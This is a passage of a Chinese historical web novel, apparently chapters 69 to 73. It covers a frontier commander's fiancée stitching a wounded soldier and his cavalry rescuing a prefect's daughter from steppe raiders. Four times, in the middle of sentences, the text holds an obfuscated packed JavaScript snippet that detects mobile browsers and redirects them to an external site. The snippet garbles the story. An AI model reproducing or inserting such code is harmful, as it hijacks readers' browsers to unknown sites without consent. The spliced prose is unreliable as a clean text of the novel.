秦家小院内,天色渐亮。
“猛子哥。”陈月娘眼眶泛红,边为秦猛系紧铁甲束带,边低声哽咽:“连番大战,今日又要走……”
她的手指轻轻拂过铁甲叶片,心中阵阵发紧。家中这日子虽好转,她却总觉得空落落的。
秦猛成了知寨官,日渐忙碌,有时连晚饭都见不到人。
她怕自己这个乡下女子,再也追不上他的脚步。
——哪怕他几日前才郑重承诺过,非她不娶。陈月娘仍惴惻不安。
每当看到他身着戎装的挺拔背影,她都既骄傲又恐惧,偷偷抹泪,生怕某次分别就成了永别。
多想回到那时候穷却在一起的日子。
“堡中不是无事么?何必再去争抢?退一步或许……”
陈月娘强压情绪,取过锦袍为他披上,声音微微发颤。
“我又何尝不想安稳?”秦猛苦笑摇头。
他眼中却寒光乍现:“可树欲静而风不止啊!”
我们退,他们便更猖狂。
他们输得起,再次来过,我们一次都输不得,也退不得。”
秦猛转身握住她的双肩,“月娘,你可知道,昨日若有一个环节出错,死的就不止是几个戍卒,可能是整个堡寨被破,是我们所有人。”
“山贼可不会讲规矩,比**更可恨。”
他忽然握住月娘的纤手,声音低沉却坚定:“我孤身一人时无所畏惧,天下之大,哪里都可去得!可现在我有家室,有你要守护。”
正因为如此,我才必须主动出击,将威胁扼杀在萌芽之中。打得别人怕,不敢轻易招惹。”
陈月娘脸颊骤红,想抽手却挣脱不得。
“猛子哥,别……放开……”她的声音细若蚊蝇,心中却涌起一股暖流。
“怕什么?我们早已是夫妻,只差一场婚礼。”
秦猛把女人带入怀中,低头与她对视,目光灼灼。
“等扫灭蝇营狗苟之辈,便用八抬大轿,风风光光地娶你过门,让你堂堂正正做秦夫人。”
陈月娘心跳如鼓,羞得耳根通红,却轻轻“嗯”了一声,眼中泛起泪光。
秦猛勾起她的下巴,正要俯身——
“大人,不好了——陈老三撑不住了!”院外传来慌乱的喊声。
秦猛动作一顿,没能亲吻下去。
陈月娘如受惊小鹿般跳开,面红耳赤地嗔他一眼。
“日,真不是时候。”秦猛咬牙瞪眼,旋即肃容:“陈老三?我记得,是腹部受伤那个戍卒?”
“快去看看吧!”陈月娘也敛起羞涩,急声道。
她记得那个年轻士卒,不过二十来岁年纪,几日前,抬回来时腹部被划开长长一道口子,惨不忍睹。
两人快步出院,正见秦小芸与王艳停下晨练。
一名药童慌慌张张跑入院中,气喘吁吁地说明陈老三撑不过今日,秦猛带人迅速赶过去。
医疗所内,气氛压抑得让人喘不过气。
伤员陈老三躺在板铺上气息奄奄,腹间纱布已被血脓浸透,一股淡淡的腐臭味弥漫整个房间。
他腹部伤口显然已经感染,脓血不断渗出,脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418885|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色灰败如土。
北地冬季伤口本不易恶化,但一旦恶化便极为凶险。
医官唐博摇头叹息:“创口撕裂太大,药石无灵…回天乏力。”
“为何不缝合伤口?”秦猛皱眉喝问。
唐博面上闪过尴尬之色:“原本想试缝合之术,针具羊肠线皆已备好,可我……不善缝补。
军中戍卒无人精通针线,寻来的妇人又胆怯怕事,试了几次皆未能成。”
一片沉寂中,陈月娘忽然上前:“猛子哥,让我试试吧。”
众人目光齐聚于她。
这女子外表柔婉,内里却刚韧。
——为撑起秦家。她曾独入深山采药、夜半方归,面对狼群跳河逃脱,胆识胜过许多男子。
此刻她目光坚定,虽然脸色有些苍白,但手指稳而不颤。
秦猛凝视她清澈而坚定的双眼,又看向濒死的士卒,重重点头:“好,我来打下手助你,就像咱们在家,我教你的时候,不要慌乱。”
他即刻下令清出净室,以姜蒜水泼洒消毒,针线沸煮,盐水、药膏一一备齐。
一间简陋却严格的手术房迅速布置完成。
秦猛,陈月娘,唐博洗手净面,戴上棉布口罩。
唐博给陈老三喂了麻沸汤记,解开腰间的纱布。露出皮肉翻卷的豁口,那种**气息更浓。
唐博取出银针,扎在穴位上止血。
秦猛亲手用小刀刮去腐肉,清创消毒。
陈月娘则捻针引线,指尖稳如磐石——常年缝补衣物、刺绣贴补家用,她的针线功夫极是娴熟。
银针穿刺皮肉,羊肠线拉合创口。
那狰狞的伤口在她手下竟一点点闭合,虽仍显粗糙,却远比裂开时更易愈合,血水渗出渐少。
唐博在旁屏息观摩,时而点头,时而兴奋低叹:“妙啊!撕裂创伤有了新的疗法,这样缝合后,创口不易再裂,敷药也能更好地起作用。”
室外受伤的戍卒与妇人们窃窃私语。
王善、**等将领也悄然赶至,皆悬心而望。
手术持续了近一个时辰,直至最后一针打结,药膏覆上、纱布裹紧。
陈月娘才长舒一口气,额间细汗涔涔。
她的手指因为长时间保持精细动作而微微颤抖,但眼神却明亮异常。
秦猛确认陈老三没有事情后,为她擦拭汗水。
“接下来便交给你了,唐医官。精心调养,务必救活!”
“属下必竭尽全力!”唐博躬身领命,眼中满是敬佩。
他没想到这个看似柔弱的女子竟有如此胆识和手艺。
围观者唏嘘,秦猛仍紧握陈月娘微颤的手:“今日你救下的不止一人,而是让全军士卒皆知。受伤后送入军医所,可医,有路可活。”
此心此胆,胜似千军。”
“我只是做了每个女子都会的针线活罢了。”陈月娘低头浅笑,揉搓衣角,羞涩中带着光彩。
第70章 铁骑踏山河
秦猛凝视着医疗所,思绪飘飞到后世抗战中那些勇敢无畏的女医护兵。
他脑中急转,目光落在陈月娘身上,郑重开口:
“月娘,你可知,这针线活,却能从那阎王手中抢人。
陈老三大概率能活下去,你救下的不仅是一个戍卒,将来还能救活更多人,功德无量,居功至伟。”
他声音越发洪亮,仿佛要让所有人都听见:“女人心细如发,照顾伤兵更加擅长。边陲之地,从不太平。
本官决定,医疗所招募一批胆大心细的妇人协助护理,救治伤员。所有护工都将记录在册,由堡寨发粮发饷。”
他转向唐博:“唐医官,此事由你全权负责。”
“是,大人!”唐博先是一愣,随即激动地躬身领命。
医疗所扩充,意味着他的地位也将水涨船高。
“招募的女子称为护工,分为初、中、高三级,初级帮忙打杂,中级换药包扎,高级配药治伤。
堡寨按级别每月发饷,特殊情况会有额外奖励。”
“如此次这般撕裂伤口,但凡缝补救人者,救一人赏银五两,希望诸位婶娘妯娌大胆站出来。”
秦猛转向围在医疗所的妇人婆子,直接抛出重赏。
他从腰囊中掏出一锭五两白银,塞到月娘手中。
“这是你应得的奖励,买些衣裳首饰。”
“嗯!”陈月娘脸颊绯红,却欣然接过,重重点头。
这聪慧女子还将银锭掂量几下,方才小心收好。
重赏之下,必有勇妇。
一群婆子妇人目睹此景,眼睛发亮,心头火热。
五两银子,足够三口之家小半年开支,谁能不动心?
相信用不了多久,便会有人前来应招。
医疗所事毕,亲卫队长王善疾步来报:“大人,常东家的人手已到,正在堡外等候。”
他瞥了眼陈月娘,请示:“是否按原计划进行?”
“当然。”秦猛眼神一凛,“依计行事,这边事情已了。”
他沉吟片刻,当即下令:“传令:队伍堡外集结。”
秦猛转身面向陈月娘,语气柔和下来。
“月娘,我得走了。”
“好。”陈月娘虽忧色复起,却不顾旁人目光,上前为他整了整战袍,动作轻柔如妻子。
“一切小心,我……我和小芸在家等你。”
“放心,”秦猛微笑,目光坚定如铁,“此战之后,我要让边陲诸堡寨皆知:北地铁血军寨,秦某之锋,不可轻试;秦某之家,不可轻犯!”
言罢,披风一振,他大步而出。
朝阳初升,将秦猛身上飞虎重甲映得凛凛如冰,而身后女子的目光,却比暖阳更令他心定。
医疗所外,人群中不知是谁率先喊了一声:
“祝大人旗开得胜!”
“秦将军威武,祝大人旗开得胜!”
顿时应者云集,众人挥手呐喊,吼声震天。
那些妇人婆子更是热情,声音尖锐穿透云霄。
“哈哈哈,承诸位兄弟姐妹吉言,此战焉能不胜?”
秦猛仰天大笑,头也不回地挥手,声震四野。
“我娘子今日用针线缝合伤口,
明日我便率堡寨铁骑缝合界河以北,扫清鞑虏。”
陈月娘听到“我娘子”三个字时,脸红到了耳朵根。
她紧张地揉搓着衣角,心里却像吃了蜜般甜,那甜中,又带着一丝为心上人担忧的酸涩。
秦猛翻身上马,丈八铁枪向前一指,在暖阳中率亲兵飞驰而出,留下滚滚烟尘和一双久久凝望的眸子。
...
后堡门外,两拨人马已集结等候。
一队近百人是常九粮行抽调的护卫和伙计,个个孔武有力,穿着皮甲,跨着堡寨提供的战马,看上去有模有样。
领队是个满脸虬髯的大汉,名叫常勇,一双虎目炯炯有神。
另一队百人骑着高头大马,身披铁甲,目光犀利如鹰。
他们刚经历山贼袭击的恶战,身上杀气未消,仿佛随时准备扑向猎物的狼群。
袁飞和**并肩领队。
袁飞此次非要跟随,倒是个意外。
秦猛本不愿带他,但这青年倔强如牛,劝不走,又不好撵,只得由他带人随行,充当打手。
除此之外,十来匹战马上捆绑着冷艳山的俘虏。
“老弟,我就不能与你同去了,但青阳县那边已有人接应。”常九一直没走,与秦猛说着告别的话。
“这一路奔波劳累,老哥就静候佳音吧。”
秦猛客套几句,心里却暗道你倒是有自知之明。
这胖子两三百斤,太过显眼,乌维都被震住。只要不傻,谁看不出是你常家参与了这事?
“出发!”队伍准备妥当后,带上物资,秦猛大手一挥,率队浩浩荡荡向青阳县方向进发。
……
大周疆域划分为东西南北,中原五境,二十三州,地域广袤远超后世任何朝代。
地方推行郡(府、军)县制,而边陲州府治下还额外设有边防大营、城寨、堡寨等军事边镇。
青阳县虽隶属燕北郡,但却是郡衙治所所在,又称燕北郡城,只是当地百姓习惯叫青阳县。
而且这边城,文官怕死不敢来,郡守常年空缺。
郡城事宜由郡丞代为管理。
据说,这郡丞与刘德福关系甚好。
正因如此,此次行动,与上次剿杀捕奴团、解救百姓只需去县衙具状不同。
这回核心是夺取刘家产业,秦大壮、张富贵等人的分量远远不够,必须由秦猛亲自前去坐镇。
燕北郡地形并非全然平坦,概貌为“三山一水六分田”。
地势自北向南、自东西两侧向中部凹陷倾斜,东西两厢的山地丘陵向中部平原逐步下降,呈马蹄形缓缓延展。
这使得燕北郡地形多样,既有山地丘陵,也有平原地区,整体地势相对平坦,土地肥沃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418886|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
亦是草原入境大周的坦途之一。
防御体系上,最前方是边防军事区域。
后方是边防城镇,再往后方则分布着零散集镇,村堡,村民在大片平原上耕种。
境内几条大河贯通的水网则滋润着这片土地。
青阳县距离边堡不足三十里路程。
自北方草原部落劫掠,大周构建界河防线。
青阳县从普通下县升格为郡城,为供应边塞粮草。
那是因为大周疆域广袤,尤其是北方。幽州一地,就相当于后世东三省加上河北、陕西部分面积。
幽州总人口却仅有数百万,是真正的地广人稀。
秦猛率领队伍向青阳郡城进发,众人顶着寒风赶路。
朔风如刀子般刮在人脸上,疼得厉害。
但生活在边陲的人们,早已习惯这种鬼天气。
众人骑乘快马,行进速度飞快。
……
时值冬季,第一场冬雪将至。
界河与幽州境内的运河眼看就要冰封,大周商队如潮水般涌来,扎堆等候边境指定榷场开放。
——这满船的物资却也成了草原部落眼中的肥肉。
每年这个时候,草原骑兵总会循着商队的踪迹来劫掠。
今年也不例外!
一队狼戎骑兵趁着夜色悄悄越境,本就打定主意要抢商队、洗村坊,好搜刮过冬的粮食与物资。
却“意外”撞见了一支规模不小的车队。
那数十辆大车上,不仅堆得满当当的全是粮食,还有茶叶、棉被这类紧俏物资。
光是看着,就让狼戎骑兵的眼睛红了。
即便知道离大周郡城已不远,即便瞧见车队有官兵护送,狼戎骑兵也没有畏惧,依旧举着弯刀、骑着快马,如饿狼扑食般席卷杀来。
他们嘴里发出嗷嗷的怪叫,眼神里满是凶残。
——要粮食、抢女人,在边陲地带烧杀掳掠。
本就是刻在他们骨子里的本性。
发现**来袭,尽管护送车队的官兵只有数十人,却没一个露怯的,也绝非不堪一击之辈。
在一位魁梧大汉的指挥下,他们一边策马结阵,举盾格挡箭雨,一边护着车队往后撤。
那魁梧汉子虽只穿着地方军制式的铆钉皮甲,甲胄边缘甚至磨出了毛边,却半点不显局促。
他勒马立于队尾,声线洪亮如钟:“左翼举盾压阵,右翼分两队护车后撤,其余人还击。”
话音刚落,原本略显慌乱的官兵瞬间动了。
前排骑士齐齐将圆盾架成密不透风的盾墙,箭雨砸在盾面“噼啪”作响,竟无一支穿透,
后排骑士则护着粮车,循着大汉指的方向稳步后退,退而不乱。
大汉目光扫过阵脚,见有辆粮车车轮陷进坑洼,立刻扬鞭指过去:“两人推车,其余人补位防箭!”
不过瞬息,缺口便被补上。
密集箭矢乱飞,追来的狼戎骑兵不得不减缓速度!
第71章 狼戎猖獗
凛冽寒风卷着冰碴子刮过荒原,将零星的喊杀声撕得粉碎。
冻土上,数十辆马车疯了般奔逃。
驮马被马鞭抽得嘶鸣不止,车轮碾过冻裂的地面,发出如垂死者喉间漏气般的吱呀哀鸣。
百余名狼戎骑兵踏碎烟尘而来。
他们头戴狰狞狼头帽,狼皮袄子上还沾着未干涸的血渍,胯下草原马奔跃如飞,像嗅到腐肉的饿狼般分成两股,呈合围之势包抄过来。
“嗷嗷嗷……”粗野的嚎叫声撕裂天际,那声音里没有半分人性,只有草原猛兽般的贪婪与凶残。
“右翼补位!弓手压制左翼三十步!”
护送车队的魁梧军官声如沉雷,冷静地指挥。
他是青州府衙马军都头张崇,脸上溅着温热的血点,皮甲肩部嵌着半截断箭,却仍稳坐马背如磐石。
——这是从尸山血海里爬出来的老兵,此行要护的,是老上司的家眷,他岂能有退缩之心?
张崇目光紧锁追兵,弯弓搭箭的手稳如铁铸。
他每一支箭都精准穿透狼戎骑兵的咽喉或心口,逼得那些悍匪不敢贸然突进。
军卒们听着他的指令排兵布阵,合力退敌,显然是想边打边撤,拖到郡城守军驰援的那一刻。
可狼戎人偏不按常理出牌。
他们不正面冲击,只在车队后方、两侧游走,像毒蛇般绕着圈子,骑射更是刁钻至极,冷箭密密麻麻射来,专挑防御薄弱的空隙钻。
“嗖嗖嗖……”箭矢破空的尖啸刚过,便传来年轻士兵的惨叫。
一名兵卒捂着喷血的脖颈栽下马车,双眼圆睁,至死还攥着手中的长矛。
张崇眼角狠狠抽搐,目眦欲裂。
——这些兵跟随他多年,都是他一手带出来的子弟兵。
破绽一旦出现,狼戎骑兵立刻如饿狼扑食般突进奔射。
箭矢像飞蝗般扎进人群,官兵们防御不及,接连中箭倒地。
血腥味混着寒风飘进车厢,局势眼看着就要崩了。
车队中央的豪华马车内,熏香炉早被颠翻,香灰混着从车窗缝隙灌进来的寒风,成了刺鼻的灰雾。
三个女人揪着心听着外面的厮杀,脸色惨白如纸。
主位上的林婉儿正值妙龄,容貌绝丽,指尖却死死攥着衣角。
——她是这支车队的主人,燕北郡新郡守林安国的女儿。
身旁的乳娘琴娘本就是普通民女,此刻双手攥得指节发白,嘴唇哆嗦着连话都说不囫囵。
琴娘的女儿,贴身侍女小蛮凑到窗帘缝隙外看了一眼,脸颊瞬间涨得通红,声音发颤:“小姐,娘,外面……外面官兵倒了好几个了。
**的箭跟下雨似的,越追越近,这可怎么办啊?”
林婉儿强迫自己压下心慌,声音轻柔却带着安抚的力量:“琴娘,小蛮,莫慌,估摸着,咱们离郡城已经很近了,再撑一会儿就安全了。”
“这些**怕郡城的守军,等再近些,他们自会退走的。”
可女孩还是想错了!
——狼戎骑兵早已望见了远处青阳郡城的轮廓,非但没掉头,反而追得更紧、杀得更狠!
“哈哈哈……”狼戎骑兵扯着嗓子狂笑,嘴里喊着叽里呱啦的草原话,话语粗鄙,眼神凶狠。
许多人用生硬的汉话说着不用怕,声音里满是狂妄。
在他们眼里,大周的汉人官兵都是怯懦的羔羊,就算那郡城的守军,也未必敢出城迎战。
于是,他们越发肆无忌惮,箭射得更密了,不仅盯着官兵和护卫,连赶车的车夫都没放过。
惨叫声此起彼伏,倒下的人越来越多。
马车没了车夫操控,离队或速度渐渐慢了下来。
“嗷呜——杀!”
脸上带着刀疤的狼戎百夫长见驱赶得差不多,终于按捺不住,举起染血的弯刀发出号令。
骑兵逼近,箭矢如暴雨般射向车队。
官兵、车夫接连中箭倒地,怒骂声,惨叫声、马嘶声混在一起,成了一曲催命的死亡交响。
“保护小姐!”张崇**连挑,将射向车厢的箭矢击飞,顺势一枪挑翻冲在最前的敌骑,可一个不慎,后背却被另一把弯刀狠狠劈中。
他咬着牙没哼一声,反身捅杀敌人,嘶吼着下令:
“快!向后队靠拢,组成圆阵!”
可狼戎骑兵太灵活了。
他们分成数股,游而不攻,像毒蛇般缠在车队周围,频繁放冷箭,专找防御薄弱处撕口子。
一个狼戎骑兵突然从侧翼突入,弯刀寒光一闪。
车夫的头颅直接飞了起来,鲜血喷溅在粮袋上,染红了半车粮食。
驮马受惊狂奔,满车粮食瞬间被狼戎劫走,猖狂的笑声顺着风飘过来,刺得人耳膜生疼。
很快,车队中央的豪华马车成了狼戎的重点目标。
三支箭矢“哆哆哆”钉在车厢板上,箭羽还在颤抖,车内顿时传出惊叫声。
“小姐,低头!”驾车的林府管家林洪猛地一拉缰绳,躲过一支直射面门的箭矢,可肩头还是被另一支箭擦过,鲜血瞬间渗了出来。
车内,林婉儿攥着袖中的**,刀鞘上的明珠硌得掌心生疼——这是她及笄时父亲送的。
当时父亲还说“汉家儿郎从不怯懦,吾儿当有玉之坚贞”。
“小姐…”小蛮突然抓住她的手腕,眼中满是恳求:“**要抢粮就给他们,你别做傻事啊!”
“闺…闺女,郡城…城官兵马上就来。”琴娘猛地握住林婉儿的手,自己却止不住牙关打颤。
林婉儿突然想起半月前父亲派人送来的家书:“今岁冬雪迟迟未降,白灾甚厉!胡虏恐铤而走险,务必多带护卫,或是开春了再来。”
那时她只当是寻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418887|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常叮嘱,如今才知字字都是血泪。
今日,怕是真的难了。
“只是爹爹……”林婉儿眼眶泛红,望向郡城的方向,眼中充满不舍,声音发颤却带着决绝。
“琴娘,护住小蛮。”
“我是林安国的女儿,今日若是难逃一劫,绝不受辱于鞑虏!”林婉儿柔声说,一字一顿。
话音刚落,外面传来林洪的惨叫,一支箭扎进了他的肩头。
“爹!”“当家的!”琴娘和小蛮同时惊呼。
鲜血染红了林洪的衣襟,马车顿时失控,向左猛偏。
狼戎百夫长眼睛一亮,看出这豪华车驾里是“大鱼”,立刻率领十余名亲兵直扑过来。
“抓住他们!”
眼看马车就要被追上,受伤的林洪突然拼尽全力猛拉缰绳。
马车一个急转,竟偏离了主队,朝着一旁的小路奔去。
“狡猾的汉人!”百夫长怒骂着,率队紧追不舍。
崎岖的小路上,马车颠簸得像惊涛骇浪中的船。
车内的女人东倒西歪。
突然,左后轮“咔嚓”一声撞上石头,车轴应声断裂,整个车厢猛地倾斜,重重摔在地上。
林洪被甩出车辕的刹那嘶喊:“不要管我,快带着小姐,小蛮,往白桦林跑,老爷说过…”
可已经晚了!
——十来名狼戎骑兵已经围了上来,脸上露出淫邪又狰狞的笑:“漂亮的汉人女子就是水灵。”
为首的百夫长舔着刀上的血渍,突然用生硬的汉语怪笑:“郡守家的小姐?够换三千头羊了!”
林婉儿将**抵在心口,忽然听见琴娘撕心裂肺地哭喊:“洪哥!”
她这才看清倒地车夫花白的鬓发。
——那是从小教她骑马的洪叔,是偷带她逛庙会的洪叔。
林婉儿握紧**,指尖因用力而发白,眼中闪过一丝决然。
就在她准备自尽时,远处却突然传来震天的号角——
“呜、呜——”
低沉而威严的号角声,瞬间压过了所有的厮杀与惨叫。
地平线上,一道黑线迅速蔓延而来。
速度越来越快,越来越近,赫然是一支铁甲骑兵!
为首一将黑袍黑甲,手握丈八铁枪,枪尖在阳光下闪着冷冽的光——正是秦猛。
他本是往青阳郡城去,却撞见了这场惨烈的追杀。
那些穿着狼皮袄、戴狼头帽的草原人,正挥舞着弯刀嗷嗷嚎叫,像饿狼般撕咬着同胞的血肉。
“狼戎!”秦猛一眼认了出来,脸色瞬间阴沉得能滴出水。
他清楚,这狼戎是东胡的一支,每到冬日便越过界河劫掠,手段狠辣至极,从不留活口。
面对同胞被屠戮,秦猛岂能坐视不理?
他二话不说,率队冲锋,身后,两百多骑兵瞬间如潮水般铺开,朝着狼戎骑兵席卷而去。
第72章 铁骑破敌,陌路同行
“杀,杀**!”喊杀声震天动地,如同雷霆撕裂苍穹。
大周铁骑如黑色潮水般汹涌而至,马蹄践踏着大地,卷起漫天沙尘。
为首的秦猛,胯下乌骓马快如闪电,人如猛虎,枪似**,转眼已冲到狼戎百夫长面前。
那百夫长脸色剧变,刚举刀欲挡,就听“铛”一声震耳欲聋的金铁交鸣——弯刀竟被一枪震飞。
他虎口迸裂,鲜血淋漓,还未及反应,秦猛丈八铁枪已如毒蛇出洞。“噗嗤”一声贯穿其咽喉!
鲜血喷溅,百夫长瞪大双眼,难以置信地死绝而亡。
其余狼戎骑兵骇然欲绝,还来不及组织反击,袁飞、王善、**已率铁骑掩杀而至。
刀光闪烁,血雾弥漫,惨叫不绝。
秦猛一甩枪尖尸身,砸翻一名敌骑,反手又一枪结果其性命,锁定前方敌群,声如洪钟喝道。
“左右散开,合围歼之!”
身后骑兵应声裂为两股,如翼展开,迅疾如风。
“端**!瞄准——放!”袁飞大吼一声,双腿控马,张巨弓如满月。
他身后,数十骑弓**手齐动,不用手执缰,强弓硬**齐发。
——箭雨破空,密如飞蝗,竟比寻常军**更劲、更疾!
护送车队的军官张崇瞳孔一缩:这等骑射功夫,绝非普通边军所能。
他却未留意到,这支骑兵人人配备双边马镫,不用缰绳就能控马,驭马射术因此远胜寻常。
三棱箭矢贯入皮甲,“噗嗤”声不绝。
“啊、啊……”狼戎骑兵应声**,惨叫凄厉。这一幕与他们之前射杀汉人何其相似,何等讽刺!
与此同时,王善、**两兄弟如双刀出鞘,率队直插敌阵,**翻飞,手下无一合之敌。
以他俩为箭头,队伍所向披靡。
常家护卫首领常勇也领着二十多个悍勇护卫冲杀。这虬髯大汉勇猛,吼声如雷,连斩数人。
庞仁则带队游弋战圈外围,逐渐收紧包围——
一路嚣张追猎的狼戎骑兵,转眼竟成瓮中之鳖。
秦猛勒马转身,目光落向那辆倾覆的马车旁。
三名女子惊立其间,当中一人素手紧握**,眸如寒星,虽衣衫染血、鬓发散乱,却自有一股决绝之气。
秦猛微微一怔:那神情……竟似极了记忆中的陈月娘。
“休要惊慌,我等是铁血堡寨边军,你们安全了。”他沉声开口,声如铁石交击,不容置疑。
随后,他率领亲卫队加入战场。
林婉儿怔怔望着这如天神骤降的黑甲将军,心中生出庆幸,指尖一松,**“当啷”落地。
远处厮杀声渐息。秦猛亲率铁骑反复冲阵,狼戎残兵欲逃,却因马力已疲、退路被截,纷纷被斩于马下。
几个逃得远的狼戎人,也被袁飞一一狙射**。
不过一刻,百余敌骑尽数覆灭。
车队幸存者目瞪口呆地望着这一幕,方才还如狼似虎的**,此刻却无还手之力,已成遍地尸骸。
“这是哪支军队?”人们脑海里不禁冒出这样一句话。
“这才是真正的精锐。”张崇握紧拳头,眼神炙热。
“快!打扫战场——战马、兵甲、首级,一个不漏!”
王善、**高声传令各队,新兵被老兵带着给**补刀、砍首级,记功,动作麻利熟练。
庞仁则带人救治伤员,寻回马车,收殓尸体。
随军医疗兵经专业培训,处理箭伤刀伤,手法老练,清创敷药、包扎固定,看得张崇暗暗称奇。
秦猛拨马回返,玄甲映着冬日冷光,肃杀如神。
他目光扫过张崇:“你叫什么?”
“回将军。”张崇忙回答:“青州府衙马军都头张崇。”
“是条好汉。”秦猛颔首称赞,又看向林婉儿。
“你们是何处车队?”
张崇又回道:“是青州府官眷车队,欲往燕北郡城。”
那姿态端庄的官家小姐朝秦猛曲膝,行了个万福:“于郡城十里外遇狼戎袭击,多亏将军搭救。”
“哦?哪位官员家眷?”
林婉儿正要答话,忽闻北方马蹄声再起——烟尘滚滚,竟又是一队骑兵驰至,约二百余骑。
没有旗号,车队幸存者顿显骚乱起来。
“一队集结!”秦猛看得清楚不是**,却举枪厉喝。
王善、袁飞即刻率部列阵,动作整齐划一,杀气未敛。
来者是燕北郡青阳县驻军,为首的是郡兵马都监董成。
他年方二十三四,白面轻甲,腰佩长剑,一身铆钉皮甲镀银镶铜,华丽有余、实战未卜。
与秦猛这支轻装简从、杀气凛冽的边军相比,董成的人马气势弱了许多,更像是一支仪仗队。
大周地方军制与边军迥异:
队将等于都头,都头之上为营指挥、兵马都监、统制、总管。董成身为郡都监,乃从七品武官,掌一郡地方军队屯驻、训练之责。
地方军素来瞧不起边军“粗野”。
而边军也看不上地方军的“无能”。
此时郡兵一见满地狼戎尸首、缴获的战马兵甲,不少人都眼红起来,窃窃私语、跃跃欲抢。
——直至袁飞冷眼抬弓,王善横枪立马,百来个铁甲军汉眼神锐利,杀气扑面,才纷纷缩首噤声。
“哼,这地方军……果真无可救药。”秦猛低声冷嗤。
董成率队靠近,一眼瞥见林婉儿,顿时惊为天人。
他急急下马趋前,执礼甚恭:“这位姑娘便是林小姐吧?在下燕北郡兵马都监董成,早听说林郡守家眷赶来,奉郡丞之命特来接应。”
“嗯?”秦猛双眼眯起,瞥见张崇脸色难看至极,不禁嘴角上扬,这郡城内似乎有好戏看了。
“董某救援来迟,还望林
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418888|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小姐恕罪!”
董成笑容温文,语气殷切,一副翩翩公子做派。
林婉儿却下意识退至乳娘身后,只微微颔首,并不接话。没来由的就觉得这家伙笑容虚伪。
她转而望向秦猛,声音清晰婉转:“还未谢过将军的救命大恩。不知将军欲往何处?”
“青阳县。”秦猛言简意赅。
“那正好同路,”林婉儿眸光微亮,“可否劳烦将军……沿途照拂一二?”
“自然。”秦猛依旧言短气冷,却自有一股令人心安的沉稳。
董成脸色顿时难看,斜眼睨向秦猛,语带挑衅:“阁下是何部所属?本官怎未曾见过?”
秦猛睨他一眼,忽然唇角一勾,笑中带厉:
“你最好别打听,免得吓破了胆子,坠马丢人。”
“哈哈哈……”身后边军哄然大笑。
袁飞甚至故意挽弓弦轻振,发出一声锐鸣之声。
董成霎时面红如血,手指秦猛:“你……狂妄!”
他身后几名亲兵立即按刀上前,气氛陡然剑拔**张。
袁飞默不作声地搭箭上弦。
王善、**各持**,策马略前一步,目光狠厉,虽无一言,却如磐石峙立,煞气逼人。
董成眼角抽搐,他虽自持勇猛,却深知边军悍勇、杀伐果断,真动起手来,自己这群绣花枕头绝非对手。
他强压怒火,冷哼一声:“林小姐安危要紧,本官不与你一般见识。”
说罢,转身吩咐部下:“快,护送车队起程。”
林婉儿微微蹙眉,轻声而坚定地说道:“董都监,有这位将军同行即可,不敢再劳烦郡兵。”
董成脸色更青,正要再说。
忽见一骑快马自北奔来,乃是郡兵探子,疾驰至他身边低声急报:“都监,北方发现大队狼戎游骑踪迹,约有两三百骑,正朝这边移动!”
董成神色一变,下意识看向秦猛。
秦猛虽未听清具体,却从对方神色中读出危机。当即厉声道:“庞仁,带人加强警戒。
袁飞,带弓骑分散在前后半里哨探。
王善、**,把战马和战利品交给二队,整队备战!”
“是!”
命令下达,麾下应声而动,迅疾如风,丝毫不乱。
董成愣在原地,他本想借机示警逞威,却被秦猛反客为主。
林婉儿看在眼里,更觉这位黑甲将军沉着可靠,而董成虚浮无能。
她不再犹豫,对秦猛微微一礼:“有劳将军了。”
随即转身登车,乳娘与丫鬟紧随。
秦猛不再多看董成一眼,只一挥手:“出发!”
车队再度起程,边军骑兵分列前后左右,将马车牢牢护在中央,军容严整,肃然前行。
董成僵立片刻,咬牙狠声道:“妈的,跟上去!”
他倒要看看这伙边军到底是什么来路,又能嚣张到几时。
第73章 秦猛的告诫
